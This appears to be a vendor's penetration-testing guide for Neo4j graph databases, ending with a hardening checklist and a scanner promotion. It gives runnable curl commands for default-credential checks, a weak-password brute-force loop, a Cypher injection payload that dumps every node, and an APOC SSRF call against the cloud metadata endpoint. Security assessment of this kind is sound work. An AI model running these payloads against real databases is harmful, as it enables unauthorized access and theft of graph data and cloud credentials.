Neo4j Security Testing: Default Credentials, Cypher Injection, and Unauthorized Graph Traversal

Neo4j is the leading graph database, used across fraud detection, recommendation engines, identity graphs, and knowledge management systems. Its security profile has several key assessment areas: Neo4j ships with default credentials neo4j/neo4j that must be changed on first login — many development deployments and some production systems retain weak passwords or skip the forced-change mechanism; the Bolt binary protocol on port 7687 and the HTTP REST API on port 7474 are frequently exposed without network restrictions; older Neo4j Community Edition deployments (pre-4.0) had no authentication enabled by default; applications that construct Cypher queries via string concatenation rather than parameterized queries are vulnerable to Cypher injection — attackers can append UNION MATCH (n) RETURN n clauses to extract all nodes and relationships; Neo4j's APOC plugin (Awesome Procedures on Cypher), which is widely deployed for extended functionality, includes procedures like apoc.load.url() and apoc.load.ldap() that can trigger SSRF, and on some configurations apoc.static.set() can be abused; and Neo4j's browser and Bloom interfaces expose the full graph schema to any authenticated user regardless of their business role. This guide covers systematic Neo4j security assessment.

Table of Contents

  1. Neo4j Discovery and Port Enumeration
  2. Default Credential Testing
  3. Cypher Injection Testing
  4. APOC Procedure Abuse
  5. Schema and Data Enumeration
  6. Neo4j Security Hardening

Neo4j Discovery and Port Enumeration

# Neo4j default ports:
# 7687 — Bolt protocol (primary client connection)
# 7474 — HTTP API and browser UI
# 7473 — HTTPS API (if configured)
# 5000 — Cluster discovery (if Neo4j cluster)

# Check Neo4j HTTP API for version and auth status
curl -s http://neo4j.example.com:7474/ 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Neo4j version: {data.get('neo4j_version','?')}\")
# Check authentication type — 'no_auth' means auth disabled
auth = data.get('authentication','unknown')
print(f'Authentication: {auth}')
" 2>/dev/null

# Check if authentication is disabled (pre-Neo4j 4.0 or misconfigured)
# 'authentication: no_auth' means any connection succeeds without credentials
curl -s http://neo4j.example.com:7474/db/data/ 2>/dev/null | \
  python3 -c "
import json,sys
try:
    data = json.load(sys.stdin)
    print('Auth DISABLED — database accessible without credentials')
except:
    print('Auth required or connection failed')
" 2>/dev/null

Default Credential Testing

# Test default neo4j/neo4j credentials via HTTP API
curl -s -u neo4j:neo4j http://neo4j.example.com:7474/db/data/ 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
# If password change required, this indicates default credentials still active
if 'errors' in data:
    errors = data.get('errors', [])
    for e in errors:
        print(f\"Error: {e.get('code','?')} — {e.get('message','?')}\")
else:
    print('Login successful with neo4j/neo4j — default credentials active')
    print(f\"Edition: {data.get('edition','?')}\")
" 2>/dev/null

# Test common weak passwords via HTTP Basic Auth
PASSWORDS=("neo4j" "password" "admin" "Password1" "neo4j123" "graph" "changeme")
for PASS in "${PASSWORDS[@]}"; do
  HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u "neo4j:${PASS}" \
    http://neo4j.example.com:7474/db/data/ 2>/dev/null)
  if [ "$HTTP_CODE" == "200" ]; then
    echo "VALID: neo4j / ${PASS}"
  fi
done

Cypher Injection Testing

# Cypher injection occurs when applications build queries like:
# "MATCH (u:User {username: '" + username + "'}) RETURN u"
# An attacker supplies: ' OR 1=1 RETURN u UNION MATCH (n) RETURN n //
# which becomes: MATCH (u:User {username: '' OR 1=1 RETURN u UNION MATCH (n) RETURN n //
# Note: Cypher injection is more structured than SQL injection

# Test injection via Neo4j HTTP Transaction API
# Safe baseline — parameterized query
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -u neo4j:weakpassword \
  -d '{
    "statements": [{
      "statement": "MATCH (u:User {username: $name}) RETURN u",
      "parameters": {"name": "admin"}
    }]
  }' 2>/dev/null | python3 -m json.tool 2>/dev/null | head -20

# Injection payload — if application uses string concatenation,
# test via the vulnerable endpoint (not directly via Cypher API)
# Example vulnerable application endpoint:
# GET /api/user?name=admin%27+OR+1=1+RETURN+u+UNION+MATCH+(n)+RETURN+n+//
# The resulting query executes UNION to return all graph nodes

# Enumerate all node labels (schema enumeration via authenticated access)
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -u neo4j:weakpassword \
  -d '{"statements": [{"statement": "CALL db.labels()"}]}' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
results = data.get('results', [{}])
if results:
    rows = results[0].get('data', [])
    print(f'Node labels ({len(rows)}):')
    for r in rows:
        print(f\"  {r.get('row', ['?'])[0]}\")
" 2>/dev/null

APOC Procedure Abuse

# APOC (Awesome Procedures on Cypher) is widely deployed alongside Neo4j
# Some APOC procedures can be abused for SSRF and data exfiltration

# Check if APOC is installed
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -u neo4j:weakpassword \
  -d '{"statements": [{"statement": "CALL apoc.help(\"apoc\") YIELD name RETURN name LIMIT 5"}]}' 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
errors = data.get('errors', [])
if errors:
    print('APOC not installed or procedure blocked')
else:
    results = data.get('results', [{}])
    rows = results[0].get('data', []) if results else []
    print(f'APOC installed — {len(rows)}+ procedures available')
" 2>/dev/null

# SSRF test via apoc.load.url (fetches URL from Neo4j server side)
# This causes Neo4j to make an outbound HTTP request to the target URL
curl -s -X POST http://neo4j.example.com:7474/db/neo4j/tx/commit \
  -H "Content-Type: application/json" \
  -u neo4j:weakpassword \
  -d '{
    "statements": [{
      "statement": "CALL apoc.load.json(\"http://169.254.169.254/latest/meta-data/\") YIELD value RETURN value LIMIT 1"
    }]
  }' 2>/dev/null | python3 -c "
import json,sys
data = json.load(sys.stdin)
errors = data.get('errors', [])
results = data.get('results', [{}])
rows = results[0].get('data', []) if results else []
if rows:
    print('SSRF via apoc.load.json — AWS metadata accessible from Neo4j server!')
    print(rows[0])
elif errors:
    for e in errors:
        print(f\"Blocked: {e.get('code','?')}\")
" 2>/dev/null

Neo4j Security Hardening

Neo4j Security Hardening Checklist:
Security TestMethodRisk
Default neo4j/neo4j credentialsHTTP Basic Auth with neo4j:neo4j against port 7474 — successful login = default credentials retainedCritical
Authentication disabled (pre-4.0)GET /db/data/ without credentials — 200 response means auth disabledCritical
Cypher injection in application queriesTest string-concatenated query parameters with UNION MATCH clauses — extracts all graph nodesHigh
APOC apoc.load.json SSRFExecute apoc.load.json with internal URL — triggers outbound request from Neo4j serverHigh
Schema enumeration via CALL db.labels()Authenticated call lists all node labels revealing data model and sensitive entity typesMedium
Bolt port 7687 exposed without TLSConnect without TLS — credentials and query data transmitted in cleartextMedium

Automate Neo4j Security Testing

Ironimo tests Neo4j deployments for default neo4j/neo4j credentials and weak password enumeration, authentication disabled in pre-4.0 Community Edition deployments, Bolt protocol exposure on port 7687 without TLS encryption, APOC procedure availability enabling SSRF via apoc.load.json with internal network targets, complete graph schema and node label enumeration after authentication, and Cypher injection indicators in application-level query construction patterns.

Start free scan